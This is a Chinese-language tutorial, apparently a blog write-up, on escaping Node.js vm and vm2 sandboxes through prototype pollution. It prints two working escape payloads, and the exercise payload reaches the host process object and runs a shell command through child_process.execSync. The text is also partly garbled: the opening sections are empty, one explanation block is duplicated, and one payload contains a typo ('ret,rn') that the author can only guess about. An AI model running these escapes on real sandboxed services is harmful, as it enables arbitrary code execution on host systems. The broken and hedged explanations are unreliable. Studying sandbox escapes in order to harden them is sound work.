一、什么是沙箱


二、使用方式



我们想在沙箱里运行代码会报错

主要是因为这个是主环境里的原型,沙箱里没有这个对象

通俗来说this是外部传入的,通过this来获取外部环境的原型来获取到process




三、vm2


目前的逃逸已经有很多方法了

我们就用其中一个例子来分析



in操作符的查找机制
当执行 "" in proxy;时,JavaScript 引擎会检查字符串 ""是否是 proxy对象的一个属性(或其原型链上的属性)。这个过程在代理对象中的逻辑如下:
首先,引擎会查看创建 proxy时传入的 handler对象是否定义了 has陷阱。代码中handler只定义了 get陷阱,没有定义 has陷阱。
由于没有 has陷阱进行拦截,引擎会转向默认行为,即对 proxy所代理的目标对象 target(这里是 {})执行默认的 \[HasProperty]内部操作。
默认的 \[HasProperty]与原型链
\[HasProperty]是一个内部操作,它的核心功能就是:判断一个对象(或其原型链上)是否拥有指定的属性。
当使用 in操作符(例如 "name" in obj)时,JavaScript 引擎在底层调用的就是这个 HasProperty内部方法,其中 P就是属性名 "name"。
对于普通对象 target(即 {}),in操作符(或内部的 \[HasProperty])会沿着该对象的原型链向上查找属性。
target本身是空对象,没有 has方法。
接着,查找 target的原型,即 Object.getPrototypeOf(target),它指向 Object.prototype。
在代码中,通过 Object.prototype.has = function() { ... }在 Object.prototype上直接添加了一个 has方法。
因此,当查找 has属性时,就在 Object.prototype上找到了它,于是执行了这个方法,打印出了 "has"。

Object.prototype.has = function (t,k) {
process = t.constructor("ret,rn process")();
};
原型污染:
在 Object.prototype上定义 has方法。由于所有对象都继承自 Object.prototype,沙箱内外所有对象都能访问此方法。
关键点:当 has方法被调用时,参数 t会是外部的原始对象(后面解释如何触发)。
利用构造函数逃逸:
t.constructor:获取 t的构造函数,即外部的 Function构造器。
"return process" 是创建一个返回外部 process对象的函数并立即执行。
执行结果(外部 process对象)赋值给沙箱内的 process变量。
"use strict";
作用:启用 JavaScript 的严格模式,使代码在更严格的规则下运行。
在逃逸中的作用:确保代码行为可预测,避免某些静默错误干扰攻击流程。
var process;
作用:在沙箱内部声明一个 process变量(此时为 undefined)。
策略:为后续存储外部真正的 process对象预留变量名。沙箱通常会阻止直接访问 Node.js 的全局 process对象,因此需要间接获取。
核心攻击代码:
Object.prototype.has = function (t,k) {
process = t.constructor("ret,rn process")();
};
原型污染:
在 Object.prototype上定义 has方法。由于所有对象都继承自 Object.prototype,沙箱内外所有对象都能访问此方法。
关键点:当 has方法被调用时,参数 t会是外部的原始对象(后面解释如何触发)。
利用构造函数逃逸:
t.constructor:获取 t的构造函数,即外部的 Function构造器。
代码中的 "ret,rn process"应该是 "return process"的笔误/混淆。实际效果是创建一个返回外部 process对象的函数并立即执行。
执行结果(外部 process对象)赋值给沙箱内的 process变量。
触发机制:
"" in Buffer.from;
in操作符的工作流程:
执行 "" in Buffer.from时,检查 Buffer.from是否包含空字符串属性。
由于 Buffer.from是 Proxy,且 handler没有 has陷阱,引擎执行默认行为。
默认行为:对 Buffer.from的目标对象(外部真正的 Buffer.from函数)调用 [[HasProperty]]("")。
原型链查找触发污染方法:
在查找属性过程中,引擎会沿着外部 Buffer.from的原型链查找。
外部 Buffer.from的原型链:Buffer.from→ Function.prototype→ Object.prototype。
由于 Object.prototype.has已被污染,在某些 JavaScript 引擎的实现中,属性检查可能会调用 has方法。
最关键的是:当 has方法被调用时,它的 this上下文或参数 t会是外部的 Buffer.from函数。


四、练习

(function(){
// 1. 污染 TypeError 的原型链
TypeError.prototype.get_process = f => f.constructor("return process")();
try {
// 2. 故意触发一个 TypeError 异常
Object.preventExtensions(Buffer.from("")) = a = 1;
} catch(e) {
// 3. 利用捕获的异常对象执行逃逸
return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
}
})()
原型链污染
TypeError.prototype.get_process = f => f.constructor("return process")();
目标:污染 TypeError.prototype,为所有 TypeError实例添加 get_process方法。
方法原理:get_process方法接收一个函数 f,通过 f.constructor获取 Function构造函数,然后动态创建一个返回 process对象的函数并立即执行。
为什么有效:f.constructor总是返回 Function构造函数(除非 f的原型链被修改),而 Function构造函数在创建函数时默认使用当前执行上下文的全局对象。
故意触发异常
Object.preventExtensions(Buffer.from("")) = a = 1;
Object.preventExtensions()使对象不可扩展(不能添加新属性)。
对 Buffer.from("")的结果调用此方法后,尝试给返回值赋值 a = 1。
关键错误:在严格模式下,给不可写的属性或不可扩展的对象赋值会抛出 TypeError异常。
利用异常对象逃逸
catch(e) {
return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
}
捕获异常:e是 TypeError实例,因为前面污染了原型,所以它有 get_process方法。
获取 process:e.get_process(() => {})执行时:
(() => {})是一个箭头函数,它的 constructor指向 Function
f.constructor("return process")()在外部全局上下文中执行,返回外部真正的 process对象
执行命令:通过获取的 process对象执行 whoami命令。

